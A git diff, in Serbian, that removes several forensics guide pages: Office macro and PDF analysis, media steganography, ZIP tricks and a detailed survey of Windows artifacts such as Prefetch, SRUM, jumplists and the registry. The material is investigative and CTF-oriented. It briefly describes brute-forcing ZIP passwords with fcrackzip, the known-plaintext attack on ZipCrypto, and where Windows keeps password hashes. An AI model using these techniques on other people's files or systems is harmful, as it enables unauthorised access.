Za analizu, **oletools** i **OfficeDissector** nude sveobuhvatne alate za ispitivanje kako OLE tako i OOXML dokumenata. Ovi alati pomažu u identifikaciji i analizi ugrađenih makroa, koji često služe kao vektori za isporuku malvera, obično preuzimajući i izvršavajući dodatne zlonamerne pakete. Analiza VBA makroa može se izvršiti bez Microsoft Office-a korišćenjem Libre Office-a, koji omogućava debagovanje sa tačkama prekida i posmatranim promenljivama.
|
||||
|
||||
Instalacija i korišćenje **oletools** su jednostavni, sa komandama za instalaciju putem pip-a i vađenje makroa iz dokumenata. Automatsko izvršavanje makroa se pokreće funkcijama kao što su `AutoOpen`, `AutoExec` ili `Document_Open`.
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,20 +0,0 @@
|
||||
# PDF analiza
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Za više detalja proverite:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
PDF format je poznat po svojoj složenosti i potencijalu za prikrivanje podataka, što ga čini centralnom tačkom za CTF forenzičke izazove. Kombinuje elemente običnog teksta sa binarnim objektima, koji mogu biti kompresovani ili enkriptovani, i može uključivati skripte u jezicima kao što su JavaScript ili Flash. Da bi se razumeo PDF struktura, može se konsultovati [uvodni materijal](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) Didiera Stevensa, ili koristiti alate kao što su tekstualni editor ili PDF-specifični editor kao što je Origami.
|
||||
|
||||
Za dubinsko istraživanje ili manipulaciju PDF-ova, dostupni su alati kao što su [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Sakriveni podaci unutar PDF-ova mogu biti prikriveni u:
|
||||
|
||||
- Nevidljivim slojevima
|
||||
- XMP metapodacima formata od Adobe-a
|
||||
- Inkrementalnim generacijama
|
||||
- Tekstu iste boje kao pozadina
|
||||
- Tekstu iza slika ili preklapajućih slika
|
||||
- Neprikazanim komentarima
|
||||
|
||||
Za prilagođenu analizu PDF-a, Python biblioteke kao što su [PeepDF](https://github.com/jesparza/peepdf) mogu se koristiti za izradu specijalizovanih skripti za parsiranje. Pored toga, potencijal PDF-a za skladištenje skrivenih podataka je toliko ogroman da resursi poput NSA vodiča o rizicima i protivmera vezanim za PDF, iako više nisu dostupni na svojoj originalnoj lokaciji, i dalje nude dragocene uvide. [Kopija vodiča](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) i kolekcija [trikova za PDF format](https://github.com/corkami/docs/blob/master/PDF/PDF.md) od Ange Albertinija mogu pružiti dodatno čitanje o ovoj temi.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,9 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**PNG fajlovi** su veoma cenjeni u **CTF izazovima** zbog svoje **bezgubitne kompresije**, što ih čini idealnim za ugrađivanje skrivenih podataka. Alati poput **Wireshark** omogućavaju analizu PNG fajlova razlažući njihove podatke unutar mrežnih paketa, otkrivajući ugrađene informacije ili anomalije.
|
||||
|
||||
Za proveru integriteta PNG fajlova i popravku oštećenja, **pngcheck** je ključni alat, koji nudi funkcionalnost putem komandne linije za validaciju i dijagnostiku PNG fajlova ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Kada su fajlovi izvan jednostavnih popravki, online usluge poput [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) pružaju web-rešenje za **popravku oštećenih PNG-ova**, pomažući u oporavku ključnih podataka za učesnike CTF-a.
|
||||
|
||||
Ove strategije naglašavaju važnost sveobuhvatnog pristupa u CTF-ima, koristeći kombinaciju analitičkih alata i tehnika popravke za otkrivanje i oporavak skrivenih ili izgubljenih podataka.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,17 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Manipulacija audio i video fajlovima** je osnovna komponenta u **CTF forenzičkim izazovima**, koristeći **steganografiju** i analizu metapodataka za skrivanje ili otkrivanje tajnih poruka. Alati kao što su **[mediainfo](https://mediaarea.net/en/MediaInfo)** i **`exiftool`** su neophodni za inspekciju metapodataka fajlova i identifikaciju tipova sadržaja.
|
||||
|
||||
Za audio izazove, **[Audacity](http://www.audacityteam.org/)** se izdvaja kao vrhunski alat za pregled talasnih oblika i analizu spektrograma, što je ključno za otkrivanje teksta kodiranog u audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** se toplo preporučuje za detaljnu analizu spektrograma. **Audacity** omogućava manipulaciju audio sadržajem kao što su usporavanje ili preokretanje pesama kako bi se otkrile skrivene poruke. **[Sox](http://sox.sourceforge.net/)**, alat za komandnu liniju, odlično se snalazi u konvertovanju i uređivanju audio fajlova.
|
||||
|
||||
**Manipulacija najmanje značajnim bitovima (LSB)** je uobičajena tehnika u audio i video steganografiji, koristeći fiksne veličine delova medijskih fajlova za diskretno umetanje podataka. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** je koristan za dekodiranje poruka skrivenih kao **DTMF tonovi** ili **Morseova azbuka**.
|
||||
|
||||
Video izazovi često uključuju kontejnerske formate koji kombinuju audio i video tokove. **[FFmpeg](http://ffmpeg.org/)** je alat koji se koristi za analizu i manipulaciju ovim formatima, sposoban za de-multiplexing i reprodukciju sadržaja. Za programere, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integriše FFmpeg-ove mogućnosti u Python za napredne skriptabilne interakcije.
|
||||
|
||||
Ova paleta alata naglašava svestranost potrebnu u CTF izazovima, gde učesnici moraju koristiti širok spektar tehnika analize i manipulacije kako bi otkrili skrivene podatke unutar audio i video fajlova.
|
||||
|
||||
## References
|
||||
|
||||
- [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,21 +0,0 @@
|
||||
# ZIPs trikovi
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Alatke za komandnu liniju** za upravljanje **zip datotekama** su neophodne za dijagnostikovanje, popravku i probijanje zip datoteka. Evo nekoliko ključnih alata:
|
||||
|
||||
- **`unzip`**: Otkriva zašto zip datoteka možda ne može da se raspakuje.
|
||||
- **`zipdetails -v`**: Pruža detaljnu analizu polja formata zip datoteke.
|
||||
- **`zipinfo`**: Navodi sadržaj zip datoteke bez vađenja.
|
||||
- **`zip -F input.zip --out output.zip`** i **`zip -FF input.zip --out output.zip`**: Pokušavaju da poprave oštećene zip datoteke.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Alat za brute-force probijanje zip lozinki, efikasan za lozinke do oko 7 karaktera.
|
||||
|
||||
[Specifikacija formata zip datoteka](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) pruža sveobuhvatne detalje o strukturi i standardima zip datoteka.
|
||||
|
||||
Važno je napomenuti da zip datoteke zaštićene lozinkom **ne enkriptuju imena datoteka ili veličine datoteka** unutar, što je sigurnosni propust koji RAR ili 7z datoteke ne dele, jer enkriptuju te informacije. Pored toga, zip datoteke enkriptovane starijom metodom ZipCrypto su podložne **napadu u običnom tekstu** ako je dostupna neenkriptovana kopija kompresovane datoteke. Ovaj napad koristi poznati sadržaj za probijanje zip lozinke, ranjivost detaljno opisanu u [HackThis članku](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) i dodatno objašnjenu u [ovoj akademskoj studiji](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Međutim, zip datoteke zaštićene **AES-256** enkripcijom su imune na ovaj napad u običnom tekstu, što pokazuje važnost izbora sigurnih metoda enkripcije za osetljive podatke.
|
||||
|
||||
## Reference
|
||||
|
||||
- [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,497 +0,0 @@
|
||||
# Windows artefakti
|
||||
|
||||
## Windows artefakti
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Generički Windows artefakti
|
||||
|
||||
### Windows 10 obaveštenja
|
||||
|
||||
U putanji `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` možete pronaći bazu podataka `appdb.dat` (pre Windows godišnjice) ili `wpndatabase.db` (posle Windows godišnjice).
|
||||
|
||||
Unutar ove SQLite baze podataka, možete pronaći tabelu `Notification` sa svim obaveštenjima (u XML formatu) koja mogu sadržati zanimljive podatke.
|
||||
|
||||
### Hronologija
|
||||
|
||||
Hronologija je karakteristika Windows-a koja pruža **hronološku istoriju** web stranica koje su posećene, uređivanih dokumenata i izvršenih aplikacija.
|
||||
|
||||
Baza podataka se nalazi u putanji `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Ova baza podataka može se otvoriti sa SQLite alatom ili sa alatom [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **koji generiše 2 datoteke koje se mogu otvoriti sa alatom** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
|
||||
### ADS (Alternativni podaci)
|
||||
|
||||
Preuzete datoteke mogu sadržati **ADS Zone.Identifier** koji ukazuje **kako** je **preuzeta** sa intraneta, interneta itd. Neki softver (kao što su pregledači) obično dodaju čak i **više** **informacija** kao što je **URL** sa kojeg je datoteka preuzeta.
|
||||
|
||||
## **Backup datoteka**
|
||||
|
||||
### Korpa za otpatke
|
||||
|
||||
U Vista/Win7/Win8/Win10 **Korpa za otpatke** može se pronaći u fascikli **`$Recycle.bin`** u korenu diska (`C:\$Recycle.bin`).\
|
||||
Kada se datoteka obriše u ovoj fascikli, kreiraju se 2 specifične datoteke:
|
||||
|
||||
- `$I{id}`: Informacije o datoteci (datum kada je obrisana)
|
||||
- `$R{id}`: Sadržaj datoteke
|
||||
|
||||
.png>)
|
||||
|
||||
Imajući ove datoteke, možete koristiti alat [**Rifiuti**](https://github.com/abelcheung/rifiuti2) da dobijete originalnu adresu obrisanih datoteka i datum kada je obrisana (koristite `rifiuti-vista.exe` za Vista – Win10).
|
||||
```
|
||||
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
|
||||
```
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
### Volume Shadow Copies
|
||||
|
||||
Shadow Copy je tehnologija uključena u Microsoft Windows koja može da kreira **rezervne kopije** ili snimke računarskih datoteka ili volumena, čak i kada su u upotrebi.
|
||||
|
||||
Ove rezervne kopije se obično nalaze u `\System Volume Information` iz korena datotečnog sistema, a naziv se sastoji od **UID-ova** prikazanih na sledećoj slici:
|
||||
|
||||
.png>)
|
||||
|
||||
Montiranjem forenzičke slike sa **ArsenalImageMounter**, alat [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) može se koristiti za inspekciju shadow copy-a i čak **izvlačenje datoteka** iz rezervnih kopija shadow copy-a.
|
||||
|
||||
.png>)
|
||||
|
||||
Unos u registru `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` sadrži datoteke i ključeve **koje ne treba praviti rezervne kopije**:
|
||||
|
||||
.png>)
|
||||
|
||||
Registar `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` takođe sadrži informacije o konfiguraciji `Volume Shadow Copies`.
|
||||
|
||||
### Office AutoSaved Files
|
||||
|
||||
Možete pronaći automatski sačuvane datoteke u: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
|
||||
## Shell Items
|
||||
|
||||
Shell item je stavka koja sadrži informacije o tome kako pristupiti drugoj datoteci.
|
||||
|
||||
### Recent Documents (LNK)
|
||||
|
||||
Windows **automatski** **kreira** ove **prečice** kada korisnik **otvori, koristi ili kreira datoteku** u:
|
||||
|
||||
- Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
|
||||
- Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
|
||||
|
||||
Kada se kreira folder, takođe se kreira veza do foldera, do roditeljskog foldera i do foldera bake.
|
||||
|
||||
Ove automatski kreirane datoteke sa linkovima **sadrže informacije o poreklu** kao što su da li je to **datoteka** **ili** **folder**, **MAC** **vremena** te datoteke, **informacije o volumenu** gde je datoteka smeštena i **folder ciljne datoteke**. Ove informacije mogu biti korisne za oporavak tih datoteka u slučaju da su uklonjene.
|
||||
|
||||
Takođe, **datum kreiranja link** datoteke je prvi **put** kada je originalna datoteka **prvi put** **korisćena**, a **datum** **modifikacije** link datoteke je **poslednji** **put** kada je izvorna datoteka korišćena.
|
||||
|
||||
Da biste inspektovali ove datoteke, možete koristiti [**LinkParser**](http://4discovery.com/our-tools/).
|
||||
|
||||
U ovom alatu ćete pronaći **2 skupa** vremenskih oznaka:
|
||||
|
||||
- **Prvi skup:**
|
||||
1. FileModifiedDate
|
||||
2. FileAccessDate
|
||||
3. FileCreationDate
|
||||
- **Drugi skup:**
|
||||
1. LinkModifiedDate
|
||||
2. LinkAccessDate
|
||||
3. LinkCreationDate.
|
||||
|
||||
Prvi skup vremenskih oznaka se odnosi na **vremenske oznake same datoteke**. Drugi skup se odnosi na **vremenske oznake povezane datoteke**.
|
||||
|
||||
Možete dobiti iste informacije pokretanjem Windows CLI alata: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
|
||||
```
|
||||
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||
```
|
||||
U ovom slučaju, informacije će biti sačuvane unutar CSV datoteke.
|
||||
|
||||
### Jumplists
|
||||
|
||||
Ovo su nedavne datoteke koje su označene po aplikaciji. To je lista **nedavnih datoteka korišćenih od strane aplikacije** kojoj možete pristupiti u svakoj aplikaciji. Mogu biti kreirane **automatski ili po meri**.
|
||||
|
||||
**Jumplists** kreirane automatski se čuvaju u `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Jumplists su imenovane prema formatu `{id}.autmaticDestinations-ms` gde je početni ID ID aplikacije.
|
||||
|
||||
Prilagođeni jumplists se čuvaju u `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` i obično ih kreira aplikacija jer se nešto **važnog** dogodilo sa datotekom (možda označeno kao omiljeno).
|
||||
|
||||
**Vreme kreiranja** bilo kog jumplista označava **prvi put kada je datoteka pristupljena** i **vreme modifikacije poslednji put**.
|
||||
|
||||
Možete pregledati jumplists koristeći [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
|
||||
.png>)
|
||||
|
||||
(_Napomena da su vremenski oznake koje pruža JumplistExplorer povezane sa samom jumplist datotekom_)
|
||||
|
||||
### Shellbags
|
||||
|
||||
[**Pratite ovaj link da saznate šta su shellbags.**](interesting-windows-registry-keys.md#shellbags)
|
||||
|
||||
## Korišćenje Windows USB-a
|
||||
|
||||
Moguće je identifikovati da je USB uređaj korišćen zahvaljujući kreiranju:
|
||||
|
||||
- Windows Recent Folder
|
||||
- Microsoft Office Recent Folder
|
||||
- Jumplists
|
||||
|
||||
Napomena da neka LNK datoteka umesto da pokazuje na originalni put, pokazuje na WPDNSE folder:
|
||||
|
||||
.png>)
|
||||
|
||||
Datoteke u WPDNSE folderu su kopije originalnih, stoga neće preživeti restart PC-a i GUID se uzima iz shellbaga.
|
||||
|
||||
### Registry Information
|
||||
|
||||
[Proverite ovu stranicu da saznate](interesting-windows-registry-keys.md#usb-information) koji registry ključevi sadrže zanimljive informacije o USB povezanim uređajima.
|
||||
|
||||
### setupapi
|
||||
|
||||
Proverite datoteku `C:\Windows\inf\setupapi.dev.log` da dobijete vremenske oznake o tome kada je USB konekcija uspostavljena (potražite `Section start`).
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||
|
||||
### USB Detective
|
||||
|
||||
[**USBDetective**](https://usbdetective.com) može se koristiti za dobijanje informacija o USB uređajima koji su povezani sa slikom.
|
||||
|
||||
.png>)
|
||||
|
||||
### Plug and Play Cleanup
|
||||
|
||||
Zakazana aktivnost poznata kao 'Plug and Play Cleanup' prvenstveno je dizajnirana za uklanjanje zastarelih verzija drajvera. Suprotno njenoj specificiranoj svrsi zadržavanja najnovije verzije paketa drajvera, online izvori sugerišu da takođe cilja drajvere koji su bili neaktivni 30 dana. Kao rezultat, drajveri za uklonjive uređaje koji nisu povezani u poslednjih 30 dana mogu biti podložni brisanju.
|
||||
|
||||
Zadatak se nalazi na sledećem putu:
|
||||
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||
|
||||
Prikazana je slika koja prikazuje sadržaj zadatka:
|
||||

|
||||
|
||||
**Ključne komponente i podešavanja zadatka:**
|
||||
|
||||
- **pnpclean.dll**: Ova DLL je odgovorna za stvarni proces čišćenja.
|
||||
- **UseUnifiedSchedulingEngine**: Podešeno na `TRUE`, što ukazuje na korišćenje generičkog planera zadataka.
|
||||
- **MaintenanceSettings**:
|
||||
- **Period ('P1M')**: Usmerava Planer zadataka da pokrene zadatak čišćenja mesečno tokom redovnog automatskog održavanja.
|
||||
- **Deadline ('P2M')**: Upravlja Planerom zadataka, ako zadatak ne uspe dva uzastopna meseca, da izvrši zadatak tokom hitnog automatskog održavanja.
|
||||
|
||||
Ova konfiguracija osigurava redovno održavanje i čišćenje drajvera, sa odredbama za ponovni pokušaj zadatka u slučaju uzastopnih neuspeha.
|
||||
|
||||
**Za više informacija proverite:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
|
||||
## Emails
|
||||
|
||||
Emailovi sadrže **2 zanimljiva dela: zaglavlja i sadržaj** emaila. U **zaglavljima** možete pronaći informacije kao što su:
|
||||
|
||||
- **Ko** je poslao emailove (email adresa, IP, mail serveri koji su preusmerili email)
|
||||
- **Kada** je email poslat
|
||||
|
||||
Takođe, unutar `References` i `In-Reply-To` zaglavlja možete pronaći ID poruka:
|
||||
|
||||
.png>)
|
||||
|
||||
### Windows Mail App
|
||||
|
||||
Ova aplikacija čuva emailove u HTML-u ili tekstu. Možete pronaći emailove unutar podfoldera unutar `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Emailovi se čuvaju sa `.dat` ekstenzijom.
|
||||
|
||||
**Metapodaci** emailova i **kontakti** mogu se naći unutar **EDB baze podataka**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
|
||||
**Promenite ekstenziju** datoteke sa `.vol` na `.edb` i možete koristiti alat [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) da je otvorite. Unutar `Message` tabele možete videti emailove.
|
||||
|
||||
### Microsoft Outlook
|
||||
|
||||
Kada se koriste Exchange serveri ili Outlook klijenti, biće prisutni neki MAPI zaglavlja:
|
||||
|
||||
- `Mapi-Client-Submit-Time`: Vreme sistema kada je email poslat
|
||||
- `Mapi-Conversation-Index`: Broj poruka u thread-u i vremenska oznaka svake poruke u thread-u
|
||||
- `Mapi-Entry-ID`: Identifikator poruke.
|
||||
- `Mappi-Message-Flags` i `Pr_last_Verb-Executed`: Informacije o MAPI klijentu (poruka pročitana? nije pročitana? odgovoreno? preusmereno? van kancelarije?)
|
||||
|
||||
U Microsoft Outlook klijentu, sve poslate/primljene poruke, podaci o kontaktima i podaci o kalendaru čuvaju se u PST datoteci u:
|
||||
|
||||
- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
|
||||
- `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
|
||||
|
||||
Putanja registra `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` ukazuje na datoteku koja se koristi.
|
||||
|
||||
Možete otvoriti PST datoteku koristeći alat [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
|
||||
|
||||
.png>)
|
||||
|
||||
### Microsoft Outlook OST Files
|
||||
|
||||
**OST datoteka** se generiše od strane Microsoft Outlook-a kada je konfigurisan sa **IMAP** ili **Exchange** serverom, čuvajući slične informacije kao PST datoteka. Ova datoteka se sinhronizuje sa serverom, zadržavajući podatke za **poslednjih 12 meseci** do **maksimalne veličine od 50GB**, i nalazi se u istom direktorijumu kao PST datoteka. Da biste pregledali OST datoteku, može se koristiti [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
|
||||
|
||||
### Retrieving Attachments
|
||||
|
||||
Izgubljeni dodaci mogu biti dostupni iz:
|
||||
|
||||
- Za **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
|
||||
- Za **IE11 i više**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
|
||||
### Thunderbird MBOX Files
|
||||
|
||||
**Thunderbird** koristi **MBOX datoteke** za čuvanje podataka, smeštene u `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
|
||||
|
||||
### Image Thumbnails
|
||||
|
||||
- **Windows XP i 8-8.1**: Pristup folderu sa sličicama generiše `thumbs.db` datoteku koja čuva prikaze slika, čak i nakon brisanja.
|
||||
- **Windows 7/10**: `thumbs.db` se kreira kada se pristupa preko mreže putem UNC putanje.
|
||||
- **Windows Vista i novije**: Prikazi sličica su centralizovani u `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` sa datotekama nazvanim **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) i [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) su alati za pregled ovih datoteka.
|
||||
|
||||
### Windows Registry Information
|
||||
|
||||
Windows Registry, koji čuva opsežne podatke o sistemu i korisničkim aktivnostima, sadrži se unutar datoteka u:
|
||||
|
||||
- `%windir%\System32\Config` za razne `HKEY_LOCAL_MACHINE` podključeve.
|
||||
- `%UserProfile%{User}\NTUSER.DAT` za `HKEY_CURRENT_USER`.
|
||||
- Windows Vista i novije verzije prave rezervne kopije `HKEY_LOCAL_MACHINE` registry datoteka u `%Windir%\System32\Config\RegBack\`.
|
||||
- Pored toga, informacije o izvršenju programa se čuvaju u `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` od Windows Vista i Windows 2008 Server nadalje.
|
||||
|
||||
### Tools
|
||||
|
||||
Neki alati su korisni za analizu registry datoteka:
|
||||
|
||||
- **Registry Editor**: Instaliran je u Windows-u. To je GUI za navigaciju kroz Windows registry trenutne sesije.
|
||||
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Omogućava vam da učitate registry datoteku i navigirate kroz njih sa GUI-jem. Takođe sadrži oznake koje ističu ključeve sa zanimljivim informacijama.
|
||||
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Takođe ima GUI koji omogućava navigaciju kroz učitani registry i sadrži dodatke koji ističu zanimljive informacije unutar učitanog registry-a.
|
||||
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Još jedna GUI aplikacija sposobna da izvuče važne informacije iz učitanog registry-a.
|
||||
|
||||
### Recovering Deleted Element
|
||||
|
||||
Kada je ključ obrisan, označen je kao takav, ali dok prostor koji zauzima nije potreban, neće biti uklonjen. Stoga, korišćenjem alata kao što je **Registry Explorer**, moguće je povratiti ove obrisane ključeve.
|
||||
|
||||
### Last Write Time
|
||||
|
||||
Svaki Key-Value sadrži **vremensku oznaku** koja označava poslednji put kada je modifikovan.
|
||||
|
||||
### SAM
|
||||
|
||||
Datoteka/hive **SAM** sadrži **korisnike, grupe i heširane lozinke korisnika** sistema.
|
||||
|
||||
U `SAM\Domains\Account\Users` možete dobiti korisničko ime, RID, poslednju prijavu, poslednji neuspešni pokušaj prijave, brojač prijava, politiku lozinki i kada je nalog kreiran. Da biste dobili **hešove**, takođe **trebate** datoteku/hive **SYSTEM**.
|
||||
|
||||
### Interesting entries in the Windows Registry
|
||||
|
||||
{{#ref}}
|
||||
interesting-windows-registry-keys.md
|
||||
{{#endref}}
|
||||
|
||||
## Programs Executed
|
||||
|
||||
### Basic Windows Processes
|
||||
|
||||
U [ovom postu](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) možete saznati o uobičajenim Windows procesima za otkrivanje sumnjivih ponašanja.
|
||||
|
||||
### Windows Recent APPs
|
||||
|
||||
Unutar registra `NTUSER.DAT` na putu `Software\Microsoft\Current Version\Search\RecentApps` možete pronaći podključeve sa informacijama o **izvršenoj aplikaciji**, **poslednjem putu** kada je izvršena, i **broju puta** kada je pokrenuta.
|
||||
|
||||
### BAM (Background Activity Moderator)
|
||||
|
||||
Možete otvoriti datoteku `SYSTEM` sa registry editorom i unutar puta `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` možete pronaći informacije o **aplikacijama koje je izvršio svaki korisnik** (napomena na `{SID}` u putu) i **u koje vreme** su izvršene (vreme je unutar Data vrednosti registra).
|
||||
|
||||
### Windows Prefetch
|
||||
|
||||
Prefetching je tehnika koja omogućava računaru da tiho **preuzme potrebne resurse potrebne za prikazivanje sadržaja** koji korisnik **može pristupiti u bliskoj budućnosti** kako bi se resursi mogli brže pristupiti.
|
||||
|
||||
Windows prefetch se sastoji od kreiranja **kešova izvršenih programa** kako bi ih mogli brže učitati. Ovi keševi se kreiraju kao `.pf` datoteke unutar puta: `C:\Windows\Prefetch`. Postoji limit od 128 datoteka u XP/VISTA/WIN7 i 1024 datoteka u Win8/Win10.
|
||||
|
||||
Ime datoteke se kreira kao `{program_name}-{hash}.pf` (heš se zasniva na putu i argumentima izvršne datoteke). U W10 ove datoteke su kompresovane. Imajte na umu da sama prisutnost datoteke ukazuje da je **program izvršen** u nekom trenutku.
|
||||
|
||||
Datoteka `C:\Windows\Prefetch\Layout.ini` sadrži **imena foldera datoteka koje su preuzete**. Ova datoteka sadrži **informacije o broju izvršenja**, **datumima** izvršenja i **datotekama** **otvorenim** od strane programa.
|
||||
|
||||
Da biste pregledali ove datoteke, možete koristiti alat [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
|
||||
```bash
|
||||
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
|
||||
```
|
||||
.png>)
|
||||
|
||||
### Superprefetch
|
||||
|
||||
**Superprefetch** ima isti cilj kao prefetch, **brže učitavanje programa** predviđanjem šta će biti učitano sledeće. Međutim, ne zamenjuje prefetch servis.\
|
||||
Ova usluga će generisati datoteke baze podataka u `C:\Windows\Prefetch\Ag*.db`.
|
||||
|
||||
U ovim bazama podataka možete pronaći **ime** **programa**, **broj** **izvršavanja**, **otvorene** **datoteke**, **pristup** **volumenu**, **potpunu** **putanju**, **vremenske okvire** i **vremenske oznake**.
|
||||
|
||||
Možete pristupiti ovim informacijama koristeći alat [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
|
||||
|
||||
### SRUM
|
||||
|
||||
**Monitor korišćenja sistemskih resursa** (SRUM) **prati** **resurse** **koje koristi** **proces**. Pojavio se u W8 i čuva podatke u ESE bazi podataka smeštenoj u `C:\Windows\System32\sru\SRUDB.dat`.
|
||||
|
||||
Daje sledeće informacije:
|
||||
|
||||
- AppID i Putanja
|
||||
- Korisnik koji je izvršio proces
|
||||
- Poslati bajtovi
|
||||
- Primljeni bajtovi
|
||||
- Mrežni interfejs
|
||||
- Trajanje veze
|
||||
- Trajanje procesa
|
||||
|
||||
Ove informacije se ažuriraju svake 60 minuta.
|
||||
|
||||
Možete dobiti podatke iz ove datoteke koristeći alat [**srum_dump**](https://github.com/MarkBaggett/srum-dump).
|
||||
```bash
|
||||
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
|
||||
```
|
||||
### AppCompatCache (ShimCache)
|
||||
|
||||
**AppCompatCache**, poznat i kao **ShimCache**, deo je **Baze podataka o kompatibilnosti aplikacija** koju je razvila **Microsoft** kako bi se rešili problemi sa kompatibilnošću aplikacija. Ova sistemska komponenta beleži razne delove metapodataka o datotekama, koji uključuju:
|
||||
|
||||
- Puni put do datoteke
|
||||
- Veličinu datoteke
|
||||
- Vreme poslednje izmene pod **$Standard_Information** (SI)
|
||||
- Vreme poslednje ažuriranja ShimCache-a
|
||||
- Zastavicu izvršenja procesa
|
||||
|
||||
Ovi podaci se čuvaju u registru na specifičnim lokacijama u zavisnosti od verzije operativnog sistema:
|
||||
|
||||
- Za XP, podaci se čuvaju pod `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` sa kapacitetom za 96 unosa.
|
||||
- Za Server 2003, kao i za verzije Windows-a 2008, 2012, 2016, 7, 8 i 10, putanja za skladištenje je `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, sa kapacitetom od 512 i 1024 unosa, respektivno.
|
||||
|
||||
Za analizu sačuvanih informacija, preporučuje se korišćenje [**AppCompatCacheParser** alata](https://github.com/EricZimmerman/AppCompatCacheParser).
|
||||
|
||||
.png>)
|
||||
|
||||
### Amcache
|
||||
|
||||
